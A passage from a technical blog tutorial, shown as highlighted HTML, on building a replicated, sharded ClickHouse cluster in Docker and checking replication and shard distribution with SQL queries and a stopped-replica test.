<span class="giallo-l"><span>ENGINE </span><span style="color: light-dark(#D73A49, #F47067);">=</span><span> ReplicatedMergeTree(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">/clickhouse/tables/{cluster}/{shard}/{table}</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>, </span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">{replica}</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">PARTITION</span><span style="color: light-dark(#D73A49, #F47067);"> BY</span><span> toYYYYMM(</span><span style="color: light-dark(#D73A49, #F47067);">time</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">ORDER BY</span><span> (event_id);</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">CREATE</span><span style="color: light-dark(#D73A49, #F47067);"> TABLE</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> app</span><span>.events_main </span><span style="color: light-dark(#D73A49, #F47067);">ON</span><span> CLUSTER </span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">{cluster}</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#D73A49, #F47067);"> AS</span><span style="color: light-dark(#005CC5, #6CB6FF);"> app</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">events_local</span></span>
<span class="giallo-l"><span>ENGINE </span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#D73A49, #F47067);"> Distributed</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">{cluster}</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>, app, events_local, </span><span style="color: light-dark(#005CC5, #6CB6FF);">rand</span><span>(</span><span>));</span></span></code></pre>
<p>What’s happening here:</p>
<ol>
<li>We’ll create a sample database <code>app</code> with a single table <code>events_local</code>.</li>
<li>We’re using <code>ReplicatedMergeTree</code> here as that tells <code>ClickHouse</code> to automatically replicate the data inside the table when it’s inserted.
<ul>
<li>Properties like <code>cluster</code>/<code>shard</code>/<code>replica</code> are automatically populated from the server’s <em>macros</em>. It’s a handy feature that allows you to execute this command just <em>once</em> on the cluster and it automatically populates the relevant config in each server.</li>
</ul>
</li>
<li>Finally we create a  <code>Distributed</code> table to perform our <code>INSERT</code>/<code>SELECT</code> operations in a central place. It’s possible to manually insert data to particular replicas, but since Clickhouse supports load balancing across shards, it’s preferred to create a table with a <code>Distributed</code> engine and let that happen automatically.
<ul>
<li>Write operations can be sharded based on a particular column name, but here we are simply using the <code>rand()</code> function, which splits the write randomly to different shards.</li>
<li>All read operations are parallelized and Clickhouse selects one replica from each shard to query the data from.</li>
</ul>
</li>
<li>We use <code>ON CLUSTER</code> keyword to indicate that this query has to be run on all servers which are part of the cluster <code>events</code>.</li>
</ol>
<p>It’s now time to insert some random data, for which you can use this command:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="sql"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">INSERT INTO</span><span style="color: light-dark(#005CC5, #6CB6FF);"> app</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">events_main</span><span style="color: light-dark(#D73A49, #F47067);"> VALUES</span><span> (</span><span style="color: light-dark(#D73A49, #F47067);">now</span><span>(</span><span>)</span><span>, </span><span style="color: light-dark(#005CC5, #6CB6FF);">rand</span><span>(</span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span><span>), generateUUIDv4</span><span>(</span><span>)</span><span>);</span></span></code></pre>
<p>We can now query the table and see if our records are present:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="sql"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">SELECT</span><span style="color: light-dark(#D73A49, #F47067);"> *</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">FROM</span><span style="color: light-dark(#005CC5, #6CB6FF);"> app</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">events_main</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>┌────────────────</span><span style="color: light-dark(#D73A49, #F47067);">time</span><span>─┬───event_id─┬─uuid─────────────────────────────────┐</span></span>
<span class="giallo-l"><span>│ </span><span style="color: light-dark(#005CC5, #6CB6FF);">2021</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">12</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">17</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 09</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);">36</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);">17</span><span> │ </span><span style="color: light-dark(#005CC5, #6CB6FF);">1888949839</span><span> │ 3c33305e</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>8ea0</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>4ac1</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>a07a</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>667465ec9a85 │</span></span>
<span class="giallo-l"><span>└─────────────────────┴────────────┴──────────────────────────────────────┘</span></span>
<span class="giallo-l"><span>┌────────────────</span><span style="color: light-dark(#D73A49, #F47067);">time</span><span>─┬───event_id─┬─uuid─────────────────────────────────┐</span></span>
<span class="giallo-l"><span>│ </span><span style="color: light-dark(#005CC5, #6CB6FF);">2021</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">12</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">17</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 09</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);">36</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);">16</span><span> │ </span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">689113926</span><span> │ 2a944d71</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>73f3</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">4491</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>b851</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>4f0e6f296e44 │</span></span>
<span class="giallo-l"><span>└─────────────────────┴────────────┴──────────────────────────────────────┘</span></span>
<span class="giallo-l"><span>┌────────────────</span><span style="color: light-dark(#D73A49, #F47067);">time</span><span>─┬──event_id─┬─uuid─────────────────────────────────┐</span></span>
<span class="giallo-l"><span>│ </span><span style="color: light-dark(#005CC5, #6CB6FF);">2021</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">12</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">17</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 09</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);">36</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);">15</span><span> │ </span><span style="color: light-dark(#005CC5, #6CB6FF);">415899002</span><span> │ 5980299f</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">1594</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>4c17</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>8eb5</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>e512f15ecf34 │</span></span>
<span class="giallo-l"><span>└─────────────────────┴───────────┴──────────────────────────────────────┘</span></span>
<span class="giallo-l"><span>┌────────────────</span><span style="color: light-dark(#D73A49, #F47067);">time</span><span>─┬───event_id─┬─uuid─────────────────────────────────┐</span></span>
<span class="giallo-l"><span>│ </span><span style="color: light-dark(#005CC5, #6CB6FF);">2021</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">12</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">17</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 09</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);">36</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);">16</span><span> │ </span><span style="color: light-dark(#005CC5, #6CB6FF);">1303963476</span><span> │ 0b27d5bd</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">6315</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">4937</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>82a4</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>18199e5eebb7 │</span></span>
<span class="giallo-l"><span>└─────────────────────┴────────────┴──────────────────────────────────────┘</span></span></code></pre>
<p>Now, you must be wondering how to check if the data is replicated and how the data is distributed across our shards. For that, we can use the handy <code>remote()</code> function:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="sql"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">SELECT</span><span style="color: light-dark(#D73A49, #F47067);"> *</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">FROM</span></span>
<span class="giallo-l"><span>(</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    SELECT</span></span>
<span class="giallo-l"><span>        hostName</span><span>(</span><span>)</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">        *</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    FROM</span><span style="color: light-dark(#D73A49, #F47067);"> remote</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">172.20.0.2</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>, </span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">app</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>, </span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">events_local</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    UNION ALL</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    SELECT</span></span>
<span class="giallo-l"><span>        hostName</span><span>(</span><span>)</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">        *</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    FROM</span><span style="color: light-dark(#D73A49, #F47067);"> remote</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">172.20.0.3</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>, </span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">app</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>, </span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">events_local</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    UNION ALL</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    SELECT</span></span>
<span class="giallo-l"><span>        hostName</span><span>(</span><span>)</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">        *</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    FROM</span><span style="color: light-dark(#D73A49, #F47067);"> remote</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">172.20.0.4</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>, </span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">app</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>, </span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">events_local</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    UNION ALL</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    SELECT</span></span>
<span class="giallo-l"><span>        hostName</span><span>(</span><span>)</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">        *</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">    FROM</span><span style="color: light-dark(#D73A49, #F47067);"> remote</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">172.20.0.5</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>, </span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">app</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>, </span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">events_local</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>)</span></span>
<span class="giallo-l"><span>)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>Query id: 34a81447</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>a31b</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">4915</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>9bd8</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>7a6e17bb0860</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>┌─hostName</span><span>(</span><span>)</span><span>────────┬────────────────</span><span style="color: light-dark(#D73A49, #F47067);">time</span><span>─┬───event_id─┬─uuid─────────────────────────────────┐</span></span>
<span class="giallo-l"><span>│ clickhouse</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>blue</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">2</span><span> │ </span><span style="color: light-dark(#005CC5, #6CB6FF);">2021</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">12</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">17</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 09</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);">36</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);">17</span><span> │ </span><span style="color: light-dark(#005CC5, #6CB6FF);">1888949839</span><span> │ 3c33305e</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>8ea0</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>4ac1</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>a07a</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>667465ec9a85 │</span></span>
<span class="giallo-l"><span>└───────────────────┴─────────────────────┴────────────┴──────────────────────────────────────┘</span></span>
<span class="giallo-l"><span>┌─hostName</span><span>(</span><span>)</span><span>────────┬────────────────</span><span style="color: light-dark(#D73A49, #F47067);">time</span><span>─┬───event_id─┬─uuid─────────────────────────────────┐</span></span>
<span class="giallo-l"><span>│ clickhouse</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>blue</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span><span> │ </span><span style="color: light-dark(#005CC5, #6CB6FF);">2021</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">12</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">17</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 09</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);">36</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);">17</span><span> │ </span><span style="color: light-dark(#005CC5, #6CB6FF);">1888949839</span><span> │ 3c33305e</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>8ea0</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>4ac1</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>a07a</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>667465ec9a85 │</span></span>
<span class="giallo-l"><span>└───────────────────┴─────────────────────┴────────────┴──────────────────────────────────────┘</span></span>
<span class="giallo-l"><span>┌─hostName</span><span>(</span><span>)</span><span>─────────┬────────────────</span><span style="color: light-dark(#D73A49, #F47067);">time</span><span>─┬──event_id─┬─uuid─────────────────────────────────┐</span></span>
<span class="giallo-l"><span>│ clickhouse</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>green</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">2</span><span> │ </span><span style="color: light-dark(#005CC5, #6CB6FF);">2021</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">12</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">17</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 09</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);">36</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);">15</span><span> │ </span><span style="color: light-dark(#005CC5, #6CB6FF);">415899002</span><span> │ 5980299f</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">1594</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>4c17</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>8eb5</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>e512f15ecf34 │</span></span>
<span class="giallo-l"><span>└────────────────────┴─────────────────────┴───────────┴──────────────────────────────────────┘</span></span>
<span class="giallo-l"><span>┌─hostName</span><span>(</span><span>)</span><span>─────────┬────────────────</span><span style="color: light-dark(#D73A49, #F47067);">time</span><span>─┬───event_id─┬─uuid─────────────────────────────────┐</span></span>
<span class="giallo-l"><span>│ clickhouse</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>green</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">2</span><span> │ </span><span style="color: light-dark(#005CC5, #6CB6FF);">2021</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">12</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">17</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 09</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);">36</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);">16</span><span> │ </span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">689113926</span><span> │ 2a944d71</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>73f3</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">4491</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>b851</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>4f0e6f296e44 │</span></span>
<span class="giallo-l"><span>└────────────────────┴─────────────────────┴────────────┴──────────────────────────────────────┘</span></span>
<span class="giallo-l"><span>┌─hostName</span><span>(</span><span>)</span><span>─────────┬────────────────</span><span style="color: light-dark(#D73A49, #F47067);">time</span><span>─┬───event_id─┬─uuid─────────────────────────────────┐</span></span>
<span class="giallo-l"><span>│ clickhouse</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>green</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">2</span><span> │ </span><span style="color: light-dark(#005CC5, #6CB6FF);">2021</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">12</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">17</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 09</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);">36</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);">16</span><span> │ </span><span style="color: light-dark(#005CC5, #6CB6FF);">1303963476</span><span> │ 0b27d5bd</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">6315</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">4937</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>82a4</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>18199e5eebb7 │</span></span>
<span class="giallo-l"><span>└────────────────────┴─────────────────────┴────────────┴──────────────────────────────────────┘</span></span>
<span class="giallo-l"><span>┌─hostName</span><span>(</span><span>)</span><span>─────────┬────────────────</span><span style="color: light-dark(#D73A49, #F47067);">time</span><span>─┬───event_id─┬─uuid─────────────────────────────────┐</span></span>
<span class="giallo-l"><span>│ clickhouse</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>green</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span><span> │ </span><span style="color: light-dark(#005CC5, #6CB6FF);">2021</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">12</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">17</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 09</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);">36</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);">16</span><span> │ </span><span style="color: light-dark(#005CC5, #6CB6FF);">1303963476</span><span> │ 0b27d5bd</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">6315</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">4937</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>82a4</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>18199e5eebb7 │</span></span>
<span class="giallo-l"><span>└────────────────────┴─────────────────────┴────────────┴──────────────────────────────────────┘</span></span>
<span class="giallo-l"><span>┌─hostName</span><span>(</span><span>)</span><span>─────────┬────────────────</span><span style="color: light-dark(#D73A49, #F47067);">time</span><span>─┬──event_id─┬─uuid─────────────────────────────────┐</span></span>
<span class="giallo-l"><span>│ clickhouse</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>green</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span><span> │ </span><span style="color: light-dark(#005CC5, #6CB6FF);">2021</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">12</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">17</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 09</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);">36</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);">15</span><span> │ </span><span style="color: light-dark(#005CC5, #6CB6FF);">415899002</span><span> │ 5980299f</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">1594</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>4c17</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>8eb5</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>e512f15ecf34 │</span></span>
<span class="giallo-l"><span>└────────────────────┴─────────────────────┴───────────┴──────────────────────────────────────┘</span></span>
<span class="giallo-l"><span>┌─hostName</span><span>(</span><span>)</span><span>─────────┬────────────────</span><span style="color: light-dark(#D73A49, #F47067);">time</span><span>─┬───event_id─┬─uuid─────────────────────────────────┐</span></span>
<span class="giallo-l"><span>│ clickhouse</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>green</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span><span> │ </span><span style="color: light-dark(#005CC5, #6CB6FF);">2021</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">12</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">17</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 09</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);">36</span><span>:</span><span style="color: light-dark(#005CC5, #6CB6FF);">16</span><span> │ </span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">689113926</span><span> │ 2a944d71</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>73f3</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span style="color: light-dark(#005CC5, #6CB6FF);">4491</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>b851</span><span style="color: light-dark(#D73A49, #F47067);">-</span><span>4f0e6f296e44 │</span></span>
<span class="giallo-l"><span>└────────────────────┴─────────────────────┴────────────┴──────────────────────────────────────┘</span></span></code></pre>
<p>Perfect! We can see our data is sharded as some parts of it exists in <code>green</code> and <code>blue</code>. We can also see that for each record, we have 2 entries thus confirming that <code>ReplicatedMergeTree</code> is doing its job!</p>
<h2 id="additional-scenarios">Additional Scenarios<a class="zola-anchor" href="#additional-scenarios" aria-label="Anchor link for: additional-scenarios">#</a></h2>
<p>All is well and good so far, but to ensure that our cluster setup is resilient we need to introduce our cluster to some <em>Non-Happy</em> scenarios.</p>
<h3 id="stop-a-replica-node">Stop a replica node<a class="zola-anchor" href="#stop-a-replica-node" aria-label="Anchor link for: stop-a-replica-node">#</a></h3>
<p><img src="https://mrkaran.dev/images/clickhouse-cluster-replica-down.png" alt="image" /></p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">❯</span><span style="color: light-dark(#032F62, #96D0FF);"> docker-compose</span><span style="color: light-dark(#032F62, #96D0FF);"> stop</span><span style="color: light-dark(#032F62, #96D0FF);"> clickhouse-green-2</span><span> </span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Stopping</span><span style="color: light-dark(#032F62, #96D0FF);"> clickhouse-green-2</span><span style="color: light-dark(#032F62, #96D0FF);"> ...</span><span style="color: light-dark(#032F62, #96D0FF);"> done</span></span></code></pre>
<p>Now, let’s query our records:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="sql"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">SELECT</span><span style="color: light-dark(#005CC5, #6CB6FF);"> count</span><span>(</span><span style="color: light-dark(#D73A49, #F47067);">*</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">FROM</span><span style="color: light-dark(#005CC5, #6CB6FF);"> app</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">events_main</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>┌─</span><span style="color: light-dark(#005CC5, #6CB6FF);">count</span><span>(</span><span>)─┐</span></span>
<span class="giallo-l"><span>│       </span><span style="color: light-dark(#005CC5, #6CB6FF);">4</span><span> │</span></span>
<span class="giallo-l"><span>└─────────┘</span></span></code></pre>
<p>That seems right. We’re able to access all our data with just one replica down.</p>
<p>Let’s try inserting data and bring back the replica to see if it got automatically replicated or not:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="sql"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">INSERT INTO</span><span style="color: light-dark(#005CC5, #6CB6FF);"> app</span><span>.</span><span style="color: light-dark(#005CC5, #6CB6FF);">events_main</span><span style="color: light-dark(#D73A49, #F47067);"> VALUES</span><span> (</span><span style="color: light-dark(#D73A49, #F47067);">now</span><span>(</span><span>)</span><span>, </span><span style="color: light-dark(#005CC5, #6CB6FF);">rand</span><span>(</span><span style="color: light-dark(#005CC5, #6CB6FF);">1</span><span>), generateUUIDv4</span><span>(</span><span>)</span><span>);</span></span>
<span class="giallo-l"></span>
